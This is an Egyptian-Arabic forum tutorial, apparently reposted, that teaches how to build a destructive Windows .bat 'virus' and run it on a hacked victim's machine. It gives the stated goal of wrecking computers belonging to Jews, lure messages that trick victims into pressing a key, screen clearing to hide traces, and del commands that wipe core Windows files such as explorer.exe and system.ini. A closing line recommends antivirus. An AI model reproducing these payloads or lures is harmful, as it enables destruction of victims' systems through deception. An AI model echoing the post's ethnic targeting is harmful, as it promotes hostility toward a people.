[align=center]بسم الله الرحمن الرحيم

السلام عليم يا شباب
النهاردة بإذن الله هنتعلم إزاى نعمل فيروس

الهدف من هذا الدرس

كتييييييير جداً بنخترق اليهود و كل البرامج ما عدا البرورات مش بتدمر فبنضطر ندمر بإيدينا
دلوقتى هنتعلم نعمل ملف نرفعه على جهازه ونشغله وهو هيقول بمهمة التدمير
وبالله عليكم مش عايزين استعمال ضد المسلمين

الفيروس

أولا الفيروس هو مجموعة أوامر تدميرية تعمل تحت أى ظروف وهذا هو الفرق بين الفيروس و الجرثومة فالجرثومة لها وظيفة محددة وفى ظروف محددة

البرامج المستخدمة فى صناعة الفيروسات

نستطيع صناعة الفيروسات بأبسط برنامج فى الويندوز أوهو Notepad أو المفكرة ولاتتعجب



طريقة حفظ الفيروس بحيث يكون جاهز للعمل

مش هنحفظه بإمتداد txt هنحفظ بإمتداد bat وده يخلى كل الأوامر الى دخلناها فى المفكرة تشتغل على الدوس
والصور توضح





طب لما نحب نفتحه تانى بالنوت باد علشان نعدل فيه نعمل إيه ؟
كليك يمين على الفيروس واختار Edit


أوامر صناعة الفيروسات

@pause
لإيقاف الفيروس حتى يضغط المستخدم أى مفتاح

فإذا وضعنا هذا الأمر فقط فى المفكرة هكذا



وقمنا بالحفظ كما تعلمنا بإمتداد bat
هنلاقى نافذة الدوس فتحت الشكل ده



دوس أى حاجة هتلاقى الشاشة اختفت

@echo
يعرض كلمات لا دخل لها بالكود تظهر أثناء العرض للضحية

يعنى مثلا عايزين نراوغ شوية مع الضحية نقوله عايزين نقوله Say Good Bye To Your Computer
يبقى نخليها
@echo Say Good Bye To Your Computer

دلوقتى نحظها فى النوت باد ونحط تحتيها الأمر @pause
يعنى تبقى كده



ونشغل الملف هنلاقة الدوس فتح لنا المنظر ده



واحد هيقولى يعنى يا عصب هو الضحية هيدوس أى حاجة لما يشوف الرسالة دى ؟
اقوله ده مثال فقط المفروض دى بتستخدم كخدع علشان مش يحس انه فيروس يعنى مثلا تقوله لزيادة سرعة جهازك عن طريقة مسح ملفات غير ضرورية اضغط أى مفتاح ... الخ

:exit

لإغلاق شاشة الفيروس تمام وهى غير ضرورية فى الإكس بى و2000 و 2003 علشان الدوس بيقفل اوتوماتيك لما الامر يخلص
إنما ضرورية جداً فى الإصدارات القديمة Me و 98 و 95 علشان الشاشة هتفضل مفتوحة حتى بعد نهاية الكود والضحية هيشوف الأوامر الى اتنفذت عنده

cls

لتنظيف الشاشة من كل الأكواد ومن الأفضل ان تكون دائما فى آخر الكود قبل :exit علشان لو حصل خطأ الضحية ما يعرفش إيه الى تم عنده

%WinDir%
لتحديد مسار الويندوز

del , deltree

دول الأوامر الى هنستخدمها للمتدمير يعنى الفيروس الى هنعمله هيخرب الويندوز عن طريق مسح ملفاته
del لمسح ملف مباشر أو مجلد
deltree لمسح كل محتويات مجلد ولكنه به مشكلة أولا وهى (Y/N) يخير بين القبول والرفض وهذا كاف لإيقاف عمل الفيروس

لذا سنستخدم الأمر del للمسح فمثلا سنقوم بعمل ملف تكست على السى باسم 1.txt



ولمسحه سنستخدم هذا الأمر del C:\1.txt
والأفضل ان تضيف بعده :exit



شغل الفيروس ولاحظ الملف هتلاقيه اتمسح

دلوقتى احنا عايزين نمسح ملف جوة الويندوز
نروح نعمل ملف تكست زى الى كنا عاملينه فى السى بس المرة دى فى الويندوز ونسميه برضه 1.txt



يبقى الكود المستحدم del %WinDir%\1.txt



نشغل الفيروس ونلاحظ الملف هنلاقيه اتمسح

واحد هيقولى يا عصب طب ما احنا كده نقدر نمسح كل ملفات الويندوز مباشرة عن طريق إبدال 1.txt بـ *.*
أقوله لو جربتها الويندوز بيعرف إن حجم التدمير كبير فبيسأل المستخدم متأكد ولا لأ (Y/N)



هتقولى ما احنا كنا بنستخدم الدالة /y فى آخر السطر للموافقة على أى (Y/N)
هقولك جرب بنفسك ضيف السطر كده

del %WinDir%\*.* /y
هتلاقى العملية مشيت والفيرس انتهى الكود بس الملفات لسه موجودة !!!

دلوقتى أكيد انتم فهمتم الفكرة كلها احنا دلوقتى جوة الويندوز نقدر نمسح الى عايزينه و 90% منها ملفات حساسة يعنى التخريب هيتم

ودى بعض الاكواد لإسقاط الويندوز

del %WinDir%\explorer.exe
del %WinDir%\NOTEPAD.EXE
del %WinDir%\ISUninst.exe
del %WinDir%\wjview.exe
del %WinDir%\win.ini
del %WinDir%\system.ini

وطبعا أكيد كلكم عارفين أماكن الملفات التانية الحساسة

الدرس خلص

الحماية والوقاية من هذا النوع من الفيروسات

تحميل برنامج الكاسبر سكاى انتى فيروس فهو من البرامج القلية التى تحدد هذا النوع نت الفيروسات
مع تحياتى black-wax
منقول للأفاده[/align]